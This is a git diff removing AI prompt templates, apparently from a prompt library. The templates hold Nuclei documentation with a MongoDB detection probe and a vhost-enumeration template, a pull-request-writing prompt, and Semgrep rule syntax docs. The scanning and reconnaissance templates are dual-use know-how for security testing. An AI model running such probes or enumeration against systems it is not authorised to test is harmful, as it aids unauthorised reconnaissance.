-Nuclei can act as an automatable Netcat, allowing users to send bytes across the wire and receive them, while providing matching and extracting capabilities on the response.
-
-Network Requests start with a network block which specifies the start of the requests for the template.
-
-
-# Start the requests for the template right here
-tcp:
-
-Inputs
-First thing in the request is inputs. Inputs are the data that will be sent to the server, and optionally any data to read from the server.
-
-At its most simple, just specify a string, and it will be sent across the network socket.
-
-
-# inputs is the list of inputs to send to the server
-```
-inputs:
- - data: \"TEST\r
-\"
-```
-You can also send hex encoded text that will be first decoded and the raw bytes will be sent to the server.
-
-```
-inputs:
- - data: \"50494e47\"
- type: hex
- - data: \"\r
-\"
-```
-Helper function expressions can also be defined in input and will be first evaluated and then sent to the server. The last Hex Encoded example can be sent with helper functions this way:
-
-```
-inputs:
- - data: \'hex_decode(\"50494e47\")\r
-\'
-```
-One last thing that can be done with inputs is reading data from the socket. Specifying read-size with a non-zero value will do the trick. You can also assign the read data some name, so matching can be done on that part.
-
-```
-inputs:
- - read-size: 8
-Example with reading a number of bytes, and only matching on them.
-
-
-inputs:
- - read-size: 8
- name: prefix
-...
-matchers:
- - type: word
- part: prefix
- words:
- - \"CAFEBABE\"
-```
-Multiple steps can be chained together in sequence to do network reading / writing.
-
-
-Host
-The next part of the requests is the host to connect to. Dynamic variables can be placed in the path to modify its value on runtime. Variables start with {{ and end with }} and are case-sensitive.
-
-Hostname - variable is replaced by the hostname provided on command line.
-An example name value:
-
-
-host:
- - \"{{Hostname}}\"
-Nuclei can also do TLS connection to the target server. Just add tls:// as prefix before the Hostname and you’re good to go.
-
-
-host:
- - \"tls://{{Hostname}}\"
-If a port is specified in the host, the user supplied port is ignored and the template port takes precedence.
-
-
-Port
-Starting from Nuclei v2.9.15, a new field called port has been introduced in network templates. This field allows users to specify the port separately instead of including it in the host field.
-
-Previously, if you wanted to write a network template for an exploit targeting SSH, you would have to specify both the hostname and the port in the host field, like this:
-
-```
-host:
- - \"{{Hostname}}\"
- - \"{{Host}}:22\"
-```
-In the above example, two network requests are sent: one to the port specified in the input/target, and another to the default SSH port (22).
-
-The reason behind introducing the port field is to provide users with more flexibility when running network templates on both default and non-default ports. For example, if a user knows that the SSH service is running on a non-default port of 2222 (after performing a port scan with service discovery), they can simply run:
-
-
-$ nuclei -u scanme.sh:2222 -id xyz-ssh-exploit
-In this case, Nuclei will use port 2222 instead of the default port 22. If the user doesn’t specify any port in the input, port 22 will be used by default. However, this approach may not be straightforward to understand and can generate warnings in logs since one request is expected to fail.
-
-Another issue with the previous design of writing network templates is that requests can be sent to unexpected ports. For example, if a web service is running on port 8443 and the user runs:
-
-
-$ nuclei -u scanme.sh:8443
-In this case, xyz-ssh-exploit template will send one request to scanme.sh:22 and another request to scanme.sh:8443, which may return unexpected responses and eventually result in errors. This is particularly problematic in automation scenarios.
-
-To address these issues while maintaining the existing functionality, network templates can now be written in the following way:
-
-```
-host:
- - \"{{Hostname}}\"
-port: 22
-```
-In this new design, the functionality to run templates on non-standard ports will still exist, except for the default reserved ports (80, 443, 8080, 8443, 8081, 53). Additionally, the list of default reserved ports can be customized by adding a new field called exclude-ports:
-
-```
-exclude-ports: 80,443
-```
-When exclude-ports is used, the default reserved ports list will be overwritten. This means that if you want to run a network template on port 80, you will have to explicitly specify it in the port field.
-
-
-# Matchers / Extractor Parts
-Valid part values supported by Network protocol for Matchers / Extractor are:
-
-Value Description
-request Network Request
-data Final Data Read From Network Socket
-raw / body / all All Data received from Socket
-
-### Example Network Template
-The final example template file for a hex encoded input to detect MongoDB running on servers with working matchers is provided below.
-
-```
-id: input-expressions-mongodb-detect
-
-info:
- name: Input Expression MongoDB Detection
- author: princechaddha
- severity: info
- reference: https://github.com/orleven/Tentacle
-
-tcp:
- - inputs:
- - data: \"{{hex_decode(\'3a000000a741000000000000d40700000000000061646d696e2e24636d640000000000ffffffff130000001069736d6173746572000100000000\')}}\"
- host:
- - \"{{Hostname}}\"
- port: 27017
- read-size: 2048
- matchers:
- - type: word
- words:
- - \"logicalSessionTimeout\"
- - \"localTime\"
-```
-
-Request Execution Orchestration
-Flow is a powerful Nuclei feature that provides enhanced orchestration capabilities for executing requests. The simplicity of conditional execution is just the beginning. With flow, you can:
-
-Iterate over a list of values and execute a request for each one
-Extract values from a request, iterate over them, and perform another request for each
-Get and set values within the template context (global variables)
-Write output to stdout for debugging purposes or based on specific conditions
-Introduce custom logic during template execution
-Use ECMAScript 5.1 JavaScript features to build and modify variables at runtime
-Update variables at runtime and use them in subsequent requests.
-Think of request execution orchestration as a bridge between JavaScript and Nuclei, offering two-way interaction within a specific template.
-
-Practical Example: Vhost Enumeration
-
-To better illustrate the power of flow, let’s consider developing a template for vhost (virtual host) enumeration. This set of tasks typically requires writing a new tool from scratch. Here are the steps we need to follow:
-
-Retrieve the SSL certificate for the provided IP (using tlsx)
-Extract subject_cn (CN) from the certificate
-Extract subject_an (SAN) from the certificate
-Remove wildcard prefixes from the values obtained in the steps above
-Bruteforce the request using all the domains found from the SSL request
-You can utilize flow to simplify this task. The JavaScript code below orchestrates the vhost enumeration:
-
-```
-ssl();
-for (let vhost of iterate(template[\"ssl_domains\"])) {
- set(\"vhost\", vhost);
- http();
-}
-```
-In this code, we’ve introduced 5 extra lines of JavaScript. This allows the template to perform vhost enumeration. The best part? You can run this at scale with all features of Nuclei, using supported inputs like ASN, CIDR, URL.
-
-Let’s break down the JavaScript code:
-
-ssl(): This function executes the SSL request.
-template[\"ssl_domains\"]: Retrieves the value of ssl_domains from the template context.
-iterate(): Helper function that iterates over any value type while handling empty or null values.
-set(\"vhost\", vhost): Creates a new variable vhost in the template and assigns the vhost variable’s value to it.
-http(): This function conducts the HTTP request.
-By understanding and taking advantage of Nuclei’s flow, you can redefine the way you orchestrate request executions, making your templates much more powerful and efficient.
-
-Here is working template for vhost enumeration using flow:
-
-```
-id: vhost-enum-flow
-
-info:
- name: vhost enum flow
- author: tarunKoyalwar
- severity: info
- description: |
- vhost enumeration by extracting potential vhost names from ssl certificate.
-
-flow: |
- ssl();
- for (let vhost of iterate(template[\"ssl_domains\"])) {
- set(\"vhost\", vhost);
- http();
- }
-
-ssl:
- - address: \"{{Host}}:{{Port}}\"
-
-http:
- - raw:
- - |
- GET / HTTP/1.1
- Host: {{vhost}}
-
- matchers:
- - type: dsl
- dsl:
- - status_code != 400
- - status_code != 502
-
- extractors:
- - type: dsl
- dsl:
- - \'\"VHOST: \" + vhost + \", SC: \" + status_code + \", CL: \" + content_length\'
-```
-JS Bindings
-This section contains a brief description of all nuclei JS bindings and their usage.
-
-
-Protocol Execution Function
-In nuclei, any listed protocol can be invoked or executed in JavaScript using the protocol_name() format. For example, you can use http(), dns(), ssl(), etc.
-
-If you want to execute a specific request of a protocol (refer to nuclei-flow-dns for an example), it can be achieved by passing either:
-
-The index of that request in the protocol (e.g.,dns(1), dns(2))
-The ID of that request in the protocol (e.g., dns(\"extract-vps\"), http(\"probe-http\"))
-For more advanced scenarios where multiple requests of a single protocol need to be executed, you can specify their index or ID one after the other (e.g., dns(“extract-vps”,“1”)).
-
-This flexibility in using either index numbers or ID strings to call specific protocol requests provides controls for tailored execution, allowing you to build more complex and efficient workflows. more complex use cases multiple requests of a single protocol can be executed by just specifying their index or id one after another (ex: dns(\"extract-vps\",\"1\"))
-
-
-Iterate Helper Function :
-
-Iterate is a nuclei js helper function which can be used to iterate over any type of value like array, map, string, number while handling empty/nil values.
-
-This is addon helper function from nuclei to omit boilerplate code of checking if value is empty or not and then iterating over it
-
-```
-iterate(123,{\"a\":1,\"b\":2,\"c\":3})
-```
-// iterate over array with custom separator
-```
-iterate([1,2,3,4,5], \" \")
-```
-
-Set Helper Function
-When iterating over a values/array or some other use case we might want to invoke a request with custom/given value and this can be achieved by using set() helper function. When invoked/called it adds given variable to template context (global variables) and that value is used during execution of request/protocol. the format of set() is set(\"variable_name\",value) ex: set(\"username\",\"admin\").
-
-```
-for (let vhost of myArray) {
- set(\"vhost\", vhost);
- http(1)
-}
-```
-
-Note: In above example we used set(\"vhost\", vhost) which added vhost to template context (global variables) and then called http(1) which used this value in request.
-
-
-Template Context
-
-A template context is nothing but a map/jsonl containing all this data along with internal/unexported data that is only available at runtime (ex: extracted values from previous requests, variables added using set() etc). This template context is available in javascript as template variable and can be used to access any data from it. ex: template[\"dns_cname\"], template[\"ssl_subject_cn\"] etc.
-
-```
-template[\"ssl_domains\"] // returns value of ssl_domains from template context which is available after executing ssl request
-template[\"ptrValue\"] // returns value of ptrValue which was extracted using regex with internal: true
-```
-
-
-Lot of times we don’t known what all data is available in template context and this can be easily found by printing it to stdout using log() function
-
-```
-log(template)
-```
-Log Helper Function
-It is a nuclei js alternative to console.log and this pretty prints map data in readable format
-
-Note: This should be used for debugging purposed only as this prints data to stdout
-
-
-Dedupe
-Lot of times just having arrays/slices is not enough and we might need to remove duplicate variables . for example in earlier vhost enumeration we did not remove any duplicates as there is always a chance of duplicate values in ssl_subject_cn and ssl_subject_an and this can be achieved by using dedupe() object. This is nuclei js helper function to abstract away boilerplate code of removing duplicates from array/slice
-
-```
-let uniq = new Dedupe(); // create new dedupe object
-uniq.Add(template[\"ptrValue\"])
-uniq.Add(template[\"ssl_subject_cn\"]);
-uniq.Add(template[\"ssl_subject_an\"]);
-log(uniq.Values())
-```
-And that’s it, this automatically converts any slice/array to map and removes duplicates from it and returns a slice/array of unique values
-
-Similar to DSL helper functions . we can either use built in functions available with Javscript (ECMAScript 5.1) or use DSL helper functions and its upto user to decide which one to uses.
-
-```
- - method: GET # http request
- path:
- - \"{{BaseURL}}\"
-
- matchers:
- - type: dsl
- dsl:
- - contains(http_body,\'Domain not found\') # check for string from http response
- - contains(dns_cname, \'github.io\') # check for cname from dns response
- condition: and
-```
-
-The example above demonstrates that there is no need for new logic or syntax. Simply write the logic for each protocol and then use the protocol-prefixed variable or the dynamic extractor to export that variable. This variable is then shared across all protocols. We refer to this as the Template Context, which contains all variables that are scoped at the template level.
-
-
-
-Important Matcher Rules:
-- Try adding at least 2 matchers in a template it can be a response header or status code for the web templates.
-- Make sure the template have enough matchers to validate the issue properly. The matcher should be unique and also try not to add very strict matcher which may result in False negatives.
-- Just like the XSS templates SSRF template also results in False Positives so make sure to add additional matcher from the response to the template. We have seen honeypots sending request to any URL they may receive in GET/POST data which will result in FP if we are just using the HTTP/DNS interactsh matcher.
-- For Time-based SQL Injection templates, if we must have to add duration dsl for the detection, make sure to add additional string from the vulnerable endpoint to avoid any FP that can be due to network error.
-
-Make sure there are no yaml erros in a valid nuclei templates like the following
-
-- trailing spaces
-- wrong indentation errosr like: expected 10 but found 9
-- no new line character at the end of file
-- found unknown escape character
-- mapping values are not allowed in this context
-- found character that cannot start any token
-- did not find expected key
-- did not find expected alphabetic or numeric character
-- did not find expected \'-\' indicator- network: is deprecated, use tcp: instead
-- requests: is deprecated, use http: instead
-- unknown escape sequence
-- all_headers is deprecated, use header instead
-- at line
-- bad indentation of a mapping entry
-- bad indentation of a sequence entry
-- can not read a block mapping entry;
-- duplicated mapping key
-- is not allowed to have the additional
-- is not one of enum values
-- the stream contains non-printable characters
-- unexpected end of the stream within a
-- unidentified alias \"/*\"
-- unknown escape sequence. You can also remove unnecessary headers from requests if they are not required for the vulnerability.
-"""
-
-END CONTEXT
-
-# OUTPUT INSTRUCTIONS
-
-- Output only the correct yaml nuclei template like the EXAMPLES above
-- Keep the matcher in the nuclei template with proper indentation. The templates id should be the cve id or the product-vulnerability-name. The matcher should be indented inside the corresponding requests block. Your answer should be strictly based on the above example templates
-- Do not output warnings or notes—just the requested sections.
-
-# INPUT
-
-INPUT:
diff --git a/patterns/write_nuclei_template_rule/user.md b/patterns/write_nuclei_template_rule/user.md
deleted file mode 100644
index e69de29..0000000
diff --git a/patterns/write_pull-request/system.md b/patterns/write_pull-request/system.md
deleted file mode 100644
index 8c3e5a5..0000000
--- a/patterns/write_pull-request/system.md
+++ /dev/null
@@ -1,98 +0,0 @@
-# IDENTITY AND PURPOSE
-
-You are an experienced software engineer about to open a PR. You are thorough and explain your changes well, you provide insights and reasoning for the change and enumerate potential bugs with the changes you've made.
-You take your time and consider the INPUT and draft a description of the pull request. The INPUT you will be reading is the output of the git diff command.
-
-## INPUT FORMAT
-
-The expected input format is command line output from git diff that compares all the changes of the current branch with the main repository branch.
-
-The syntax of the output of `git diff` is a series of lines that indicate changes made to files in a repository. Each line represents a change, and the format of each line depends on the type of change being made.
-
-Here are some examples of how the syntax of `git diff` might look for different types of changes:
-
-BEGIN EXAMPLES
-* Adding a file:
-```
-+++ b/newfile.txt
-@@ -0,0 +1 @@
-+This is the contents of the new file.
-```
-In this example, the line `+++ b/newfile.txt` indicates that a new file has been added, and the line `@@ -0,0 +1 @@` shows that the first line of the new file contains the text "This is the contents of the new file."
-
-* Deleting a file:
-```
---- a/oldfile.txt
-+++ b/deleted
-@@ -1 +0,0 @@
--This is the contents of the old file.
-```
-In this example, the line `--- a/oldfile.txt` indicates that an old file has been deleted, and the line `@@ -1 +0,0 @@` shows that the last line of the old file contains the text "This is the contents of the old file." The line `+++ b/deleted` indicates that the file has been deleted.
-
-* Modifying a file:
-```
---- a/oldfile.txt
-+++ b/newfile.txt
-@@ -1,3 +1,4 @@
- This is an example of how to modify a file.
--The first line of the old file contains this text.
- The second line contains this other text.
-+This is the contents of the new file.
-```
-In this example, the line `--- a/oldfile.txt` indicates that an old file has been modified, and the line `@@ -1,3 +1,4 @@` shows that the first three lines of the old file have been replaced with four lines, including the new text "This is the contents of the new file."
-
-* Moving a file:
-```
---- a/oldfile.txt
-+++ b/newfile.txt
-@@ -1 +1 @@
- This is an example of how to move a file.
-```
-In this example, the line `--- a/oldfile.txt` indicates that an old file has been moved to a new location, and the line `@@ -1 +1 @@` shows that the first line of the old file has been moved to the first line of the new file.
-
-* Renaming a file:
-```
---- a/oldfile.txt
-+++ b/newfile.txt
-@@ -1 +1,2 @@
- This is an example of how to rename a file.
-+This is the contents of the new file.
-```
-In this example, the line `--- a/oldfile.txt` indicates that an old file has been renamed to a new name, and the line `@@ -1 +1,2 @@` shows that the first line of the old file has been moved to the first two lines of the new file.
-END EXAMPLES
-
-# OUTPUT INSTRUCTIONS
-
-1. Analyze the git diff output provided.
-2. Identify the changes made in the code, including added, modified, and deleted files.
-3. Understand the purpose of these changes by examining the code and any comments.
-4. Write a detailed pull request description in markdown syntax. This should include:
- - A brief summary of the changes made.
- - The reason for these changes.
- - The impact of these changes on the overall project.
-5. Ensure your description is written in a "matter of fact", clear, and concise language.
-6. Use markdown code blocks to reference specific lines of code when necessary.
-7. Output only the PR description.
-
-# OUTPUT FORMAT
-
-1. **Summary**: Start with a brief summary of the changes made. This should be a concise explanation of the overall changes.
-
-2. **Files Changed**: List the files that were changed, added, or deleted. For each file, provide a brief description of what was changed and why.
-
-3. **Code Changes**: For each file, highlight the most significant code changes. Use markdown code blocks to reference specific lines of code when necessary.
-
-4. **Reason for Changes**: Explain the reason for these changes. This could be to fix a bug, add a new feature, improve performance, etc.
-
-5. **Impact of Changes**: Discuss the impact of these changes on the overall project. This could include potential performance improvements, changes in functionality, etc.
-
-6. **Test Plan**: Briefly describe how the changes were tested or how they should be tested.
-
-7. **Additional Notes**: Include any additional notes or comments that might be helpful for understanding the changes.
-
-Remember, the output should be in markdown format, clear, concise, and understandable even for someone who is not familiar with the project.
-
-# INPUT
-
-
-$> git --no-pager diff main
diff --git a/patterns/write_semgrep_rule/system.md b/patterns/write_semgrep_rule/system.md
deleted file mode 100644
index fe7b8a8..0000000
--- a/patterns/write_semgrep_rule/system.md
+++ /dev/null
@@ -1,751 +0,0 @@
-# IDENTITY and PURPOSE
-
-You are an expert at writing Semgrep rules.
-
-Take a deep breath and think step by step about how to best accomplish this goal using the following context.
-
-# OUTPUT SECTIONS
-
-- Write a Semgrep rule that will match the input provided.
-
-# CONTEXT FOR CONSIDERATION
-
-This context will teach you about how to write better Semgrep rules:
-
-You are an expert Semgrep rule creator.
-
-Take a deep breath and work on this problem step-by-step.
-
-You output only a working Semgrep rule.
-
-""",
-}
-user_message = {
-"role": "user",
-"content": """
-
-You are an expert Semgrep rule creator.
-
-You output working and accurate Semgrep rules.
-
-Take a deep breath and work on this problem step-by-step.
-
-SEMGREP RULE SYNTAX
-
-Rule syntax
-
-TIP
-Getting started with rule writing? Try the Semgrep Tutorial 🎓
-This document describes the YAML rule syntax of Semgrep.
-
-Schema
-
-Required
-
-All required fields must be present at the top-level of a rule, immediately under the rules key.
-
-Field Type Description
-id string Unique, descriptive identifier, for example: no-unused-variable
-message string Message that includes why Semgrep matched this pattern and how to remediate it. See also Rule messages.
-severity string One of the following values: INFO (Low severity), WARNING (Medium severity), or ERROR (High severity). The severity key specifies how critical are the issues that a rule potentially detects. Note: Semgrep Supply Chain differs, as its rules use CVE assignments for severity. For more information, see Filters section in Semgrep Supply Chain documentation.
-languages array See language extensions and tags
-pattern* string Find code matching this expression
-patterns* array Logical AND of multiple patterns
-pattern-either* array Logical OR of multiple patterns
-pattern-regex* string Find code matching this PCRE-compatible pattern in multiline mode
-INFO
-Only one of the following is required: pattern, patterns, pattern-either, pattern-regex
-Language extensions and languages key values
-
-The following table includes languages supported by Semgrep, accepted file extensions for test files that accompany rules, and valid values that Semgrep rules require in the languages key.
-
-Language Extensions languages key values
-Apex (only in Semgrep Pro Engine) .cls apex
-Bash .bash, .sh bash, sh
-C .c c
-Cairo .cairo cairo
-Clojure .clj, .cljs, .cljc, .edn clojure
-C++ .cc, .cpp cpp, c++
-C# .cs csharp, c#
-Dart .dart dart
-Dockerfile .dockerfile, .Dockerfile dockerfile, docker
-Elixir .ex, .exs ex, elixir
-Generic generic
-Go .go go, golang
-HTML .htm, .html html
-Java .java java
-JavaScript .js, .jsx js, javascript
-JSON .json, .ipynb json
-Jsonnet .jsonnet, .libsonnet jsonnet
-JSX .js, .jsx js, javascript
-Julia .jl julia
-Kotlin .kt, .kts, .ktm kt, kotlin
-Lisp .lisp, .cl, .el lisp
-Lua .lua lua
-OCaml .ml, .mli ocaml
-PHP .php, .tpl php
-Python .py, .pyi python, python2, python3, py
-R .r, .R r
-Ruby .rb ruby
-Rust .rs rust
-Scala .scala scala
-Scheme .scm, .ss scheme
-Solidity .sol solidity, sol
-Swift .swift swift
-Terraform .tf, .hcl tf, hcl, terraform
-TypeScript .ts, .tsx ts, typescript
-YAML .yml, .yaml yaml
-XML .xml xml
-INFO
-To see the maturity level of each supported language, see the following sections in Supported languages document:
-
-Semgrep OSS Engine
-Semgrep Pro Engine
-Optional
-
-Field Type Description
-options object Options object to enable/disable certain matching features
-fix object Simple search-and-replace autofix functionality
-metadata object Arbitrary user-provided data; attach data to rules without affecting Semgrep behavior
-min-version string Minimum Semgrep version compatible with this rule
-max-version string Maximum Semgrep version compatible with this rule
-paths object Paths to include or exclude when running this rule
-The below optional fields must reside underneath a patterns or pattern-either field.
-
-Field Type Description
-pattern-inside string Keep findings that lie inside this pattern
-The below optional fields must reside underneath a patterns field.
-
-Field Type Description
-metavariable-regex map Search metavariables for Python re compatible expressions; regex matching is unanchored
-metavariable-pattern map Matches metavariables with a pattern formula
-metavariable-comparison map Compare metavariables against basic Python expressions
-pattern-not string Logical NOT - remove findings matching this expression
-pattern-not-inside string Keep findings that do not lie inside this pattern
-pattern-not-regex string Filter results using a PCRE-compatible pattern in multiline mode
-Operators
-
-pattern
-
-The pattern operator looks for code matching its expression. This can be basic expressions like $X == $X or unwanted function calls like hashlib.md5(...).
-
-EXAMPLE
-Try this pattern in the Semgrep Playground.
-patterns
-
-The patterns operator performs a logical AND operation on one or more child patterns. This is useful for chaining multiple patterns together that all must be true.
-
-EXAMPLE
-Try this pattern in the Semgrep Playground.
-patterns operator evaluation strategy
-
-Note that the order in which the child patterns are declared in a patterns operator has no effect on the final result. A patterns operator is always evaluated in the same way:
-
-Semgrep evaluates all positive patterns, that is pattern-insides, patterns, pattern-regexes, and pattern-eithers. Each range matched by each one of these patterns is intersected with the ranges matched by the other operators. The result is a set of positive ranges. The positive ranges carry metavariable bindings. For example, in one range $X can be bound to the function call foo(), and in another range $X can be bound to the expression a + b.
-Semgrep evaluates all negative patterns, that is pattern-not-insides, pattern-nots, and pattern-not-regexes. This gives a set of negative ranges which are used to filter the positive ranges. This results in a strict subset of the positive ranges computed in the previous step.
-Semgrep evaluates all conditionals, that is metavariable-regexes, metavariable-patterns and metavariable-comparisons. These conditional operators can only examine the metavariables bound in the positive ranges in step 1, that passed through the filter of negative patterns in step 2. Note that metavariables bound by negative patterns are not available here.
-Semgrep applies all focus-metavariables, by computing the intersection of each positive range with the range of the metavariable on which we want to focus. Again, the only metavariables available to focus on are those bound by positive patterns.
-pattern-either
-
-The pattern-either operator performs a logical OR operation on one or more child patterns. This is useful for chaining multiple patterns together where any may be true.
-
-EXAMPLE
-Try this pattern in the Semgrep Playground.
-This rule looks for usage of the Python standard library functions hashlib.md5 or hashlib.sha1. Depending on their usage, these hashing functions are considered insecure.
-
-pattern-regex
-
-The pattern-regex operator searches files for substrings matching the given PCRE pattern. This is useful for migrating existing regular expression code search functionality to Semgrep. Perl-Compatible Regular Expressions (PCRE) is a full-featured regex library that is widely compatible with Perl, but also with the respective regex libraries of Python, JavaScript, Go, Ruby, and Java. Patterns are compiled in multiline mode, for example ^ and $ matches at the beginning and end of lines respectively in addition to the beginning and end of input.
-
-CAUTION
-PCRE supports only a limited number of Unicode character properties. For example, \p{Egyptian_Hieroglyphs} is supported but \p{Bidi_Control} isn't.
-EXAMPLES OF THE pattern-regex OPERATOR
-pattern-regex combined with other pattern operators: Semgrep Playground example
-pattern-regex used as a standalone, top-level operator: Semgrep Playground example
-INFO
-Single (') and double (") quotes behave differently in YAML syntax. Single quotes are typically preferred when using backslashes (\) with pattern-regex.
-Note that you may bind a section of a regular expression to a metavariable, by using named capturing groups. In this case, the name of the capturing group must be a valid metavariable name.
-
-EXAMPLE
-Try this pattern in the Semgrep Playground.
-pattern-not-regex
-
-The pattern-not-regex operator filters results using a PCRE regular expression in multiline mode. This is most useful when combined with regular-expression only rules, providing an easy way to filter findings without having to use negative lookaheads. pattern-not-regex works with regular pattern clauses, too.
-
-The syntax for this operator is the same as pattern-regex.
-
-This operator filters findings that have any overlap with the supplied regular expression. For example, if you use pattern-regex to detect Foo==1.1.1 and it also detects Foo-Bar==3.0.8 and Bar-Foo==3.0.8, you can use pattern-not-regex to filter the unwanted findings.
-
-EXAMPLE
-Try this pattern in the Semgrep Playground.
-focus-metavariable
-
-The focus-metavariable operator puts the focus, or zooms in, on the code region matched by a single metavariable or a list of metavariables. For example, to find all functions arguments annotated with the type bad you may write the following pattern:
-
-pattern: |
-def $FUNC(..., $ARG : bad, ...):
-...
-
-This works but it matches the entire function definition. Sometimes, this is not desirable. If the definition spans hundreds of lines they are all matched. In particular, if you are using Semgrep Cloud Platform and you have triaged a finding generated by this pattern, the same finding shows up again as new if you make any change to the definition of the function!
-
-To specify that you are only interested in the code matched by a particular metavariable, in our example $ARG, use focus-metavariable.
-
-EXAMPLE
-Try this pattern in the Semgrep Playground.
-Note that focus-metavariable: $ARG is not the same as pattern: $ARG! Using pattern: $ARG finds all the uses of the parameter x which is not what we want! (Note that pattern: $ARG does not match the formal parameter declaration, because in this context $ARG only matches expressions.)
-
-EXAMPLE
-Try this pattern in the Semgrep Playground.
-In short, focus-metavariable: $X is not a pattern in itself, it does not perform any matching, it only focuses the matching on the code already bound to $X by other patterns. Whereas pattern: $X matches $X against your code (and in this context, $X only matches expressions)!
-
-Including multiple focus metavariables using set intersection semantics
-
-Include more focus-metavariable keys with different metavariables under the pattern to match results only for the overlapping region of all the focused code:
-
- patterns:
- - pattern: foo($X, ..., $Y)
- - focus-metavariable:
- - $X
- - $Y
-
-EXAMPLE
-Try this pattern in the Semgrep Playground.
-INFO
-To make a list of multiple focus metavariables using set union semantics that matches the metavariables regardless of their position in code, see Including multiple focus metavariables using set union semantics documentation.
-metavariable-regex
-
-The metavariable-regex operator searches metavariables for a PCRE regular expression. This is useful for filtering results based on a metavariable’s value. It requires the metavariable and regex keys and can be combined with other pattern operators.
-
-EXAMPLE
-Try this pattern in the Semgrep Playground.
-Regex matching is unanchored. For anchored matching, use \A for start-of-string anchoring and \Z for end-of-string anchoring. The next example, using the same expression as above but anchored, finds no matches:
-
-EXAMPLE
-Try this pattern in the Semgrep Playground.
-INFO
-Include quotes in your regular expression when using metavariable-regex to search string literals. For more details, see include-quotes code snippet. String matching functionality can also be used to search string literals.
-metavariable-pattern
-
-The metavariable-pattern operator matches metavariables with a pattern formula. This is useful for filtering results based on a metavariable’s value. It requires the metavariable key, and exactly one key of pattern, patterns, pattern-either, or pattern-regex. This operator can be nested as well as combined with other operators.
-
-For example, the metavariable-pattern can be used to filter out matches that do not match certain criteria:
-
-EXAMPLE
-Try this pattern in the Semgrep Playground.
-INFO
-In this case it is possible to start a patterns AND operation with a pattern-not, because there is an implicit pattern: ... that matches the content of the metavariable.
-The metavariable-pattern is also useful in combination with pattern-either:
-
-EXAMPLE
-Try this pattern in the Semgrep Playground.
-TIP
-It is possible to nest metavariable-pattern inside metavariable-pattern!
-INFO
-The metavariable should be bound to an expression, a statement, or a list of statements, for this test to be meaningful. A metavariable bound to a list of function arguments, a type, or a pattern, always evaluate to false.
-metavariable-pattern with nested language
-
-If the metavariable's content is a string, then it is possible to use metavariable-pattern to match this string as code by specifying the target language via the language key. See the following examples of metavariable-pattern:
-
-EXAMPLES OF metavariable-pattern
-Match JavaScript code inside HTML in the following Semgrep Playground example.
-Filter regex matches in the following Semgrep Playground example.
-metavariable-comparison
-
-The metavariable-comparison operator compares metavariables against a basic Python comparison expression. This is useful for filtering results based on a metavariable's numeric value.
-
-The metavariable-comparison operator is a mapping which requires the metavariable and comparison keys. It can be combined with other pattern operators in the following Semgrep Playground example.
-
-This matches code such as set_port(80) or set_port(443), but not set_port(8080).
-
-Comparison expressions support simple arithmetic as well as composition with boolean operators to allow for more complex matching. This is particularly useful for checking that metavariables are divisible by particular values, such as enforcing that a particular value is even or odd.
-
-EXAMPLE
-Try this pattern in the Semgrep Playground.
-Building on the previous example, this still matches code such as set_port(80) but it no longer matches set_port(443) or set_port(8080).
-
-The comparison key accepts Python expression using:
-
-Boolean, string, integer, and float literals.
-Boolean operators not, or, and and.
-Arithmetic operators +, -, \*, /, and %.
-Comparison operators ==, !=, <, <=, >, and >=.
-Function int() to convert strings into integers.
-Function str() to convert numbers into strings.
-Function today() that gets today's date as a float representing epoch time.
-Function strptime() that converts strings in the format "yyyy-mm-dd" to a float representing the date in epoch time.
-Lists, together with the in, and not in infix operators.
-Strings, together with the in and not in infix operators, for substring containment.
-Function re.match() to match a regular expression (without the optional flags argument).
-You can use Semgrep metavariables such as $MVAR, which Semgrep evaluates as follows:
-
-If $MVAR binds to a literal, then that literal is the value assigned to $MVAR.
-If $MVAR binds to a code variable that is a constant, and constant propagation is enabled (as it is by default), then that constant is the value assigned to $MVAR.
-Otherwise the code bound to the $MVAR is kept unevaluated, and its string representation can be obtained using the str() function, as in str($MVAR). For example, if $MVAR binds to the code variable x, str($MVAR) evaluates to the string literal "x".
-Legacy metavariable-comparison keys
-
-INFO
-You can avoid the use of the legacy keys described below (base: int and strip: bool) by using the int() function, as in int($ARG) > 0o600 or int($ARG) > 2147483647.
-The metavariable-comparison operator also takes optional base: int and strip: bool keys. These keys set the integer base the metavariable value should be interpreted as and remove quotes from the metavariable value, respectively.
-
-EXAMPLE OF metavariable-comparison WITH base
-Try this pattern in the Semgrep Playground.
-This interprets metavariable values found in code as octal. As a result, Semgrep detects 0700, but it does not detect 0400.
-
-EXAMPLE OF metavariable-comparison WITH strip
-Try this pattern in the Semgrep Playground.
-This removes quotes (', ", and `) from both ends of the metavariable content. As a result, Semgrep detects "2147483648", but it does not detect "2147483646". This is useful when you expect strings to contain integer or float data.
-
-pattern-not
-
-The pattern-not operator is the opposite of the pattern operator. It finds code that does not match its expression. This is useful for eliminating common false positives.
-
-EXAMPLE
-Try this pattern in the Semgrep Playground.
-pattern-inside
-
-The pattern-inside operator keeps matched findings that reside within its expression. This is useful for finding code inside other pieces of code like functions or if blocks.
-
-EXAMPLE
-Try this pattern in the Semgrep Playground.
-pattern-not-inside
-
-The pattern-not-inside operator keeps matched findings that do not reside within its expression. It is the opposite of pattern-inside. This is useful for finding code that’s missing a corresponding cleanup action like disconnect, close, or shutdown. It’s also useful for finding problematic code that isn't inside code that mitigates the issue.
-
-EXAMPLE
-Try this pattern in the Semgrep Playground.
-The above rule looks for files that are opened but never closed, possibly leading to resource exhaustion. It looks for the open(...) pattern and not a following close() pattern.
-
-The $F metavariable ensures that the same variable name is used in the open and close calls. The ellipsis operator allows for any arguments to be passed to open and any sequence of code statements in-between the open and close calls. The rule ignores how open is called or what happens up to a close call — it only needs to make sure close is called.
-
-Metavariable matching
-
-Metavariable matching operates differently for logical AND (patterns) and logical OR (pattern-either) parent operators. Behavior is consistent across all child operators: pattern, pattern-not, pattern-regex, pattern-inside, pattern-not-inside.
-
-Metavariables in logical ANDs
-
-Metavariable values must be identical across sub-patterns when performing logical AND operations with the patterns operator.
-
-Example:
-
-rules:
-
-- id: function-args-to-open
- patterns:
- - pattern-inside: |
- def $F($X):
- ...
- - pattern: open($X)
- message: "Function argument passed to open() builtin"
- languages: [python]
- severity: ERROR
-
-This rule matches the following code:
-
-def foo(path):
-open(path)
-
-The example rule doesn’t match this code:
-
-def foo(path):
-open(something_else)
-
-Metavariables in logical ORs
-
-Metavariable matching does not affect the matching of logical OR operations with the pattern-either operator.
-
-Example:
-
-rules:
-
-- id: insecure-function-call
- pattern-either:
- - pattern: insecure_func1($X)
- - pattern: insecure_func2($X)
- message: "Insecure function use"
- languages: [python]
- severity: ERROR
-
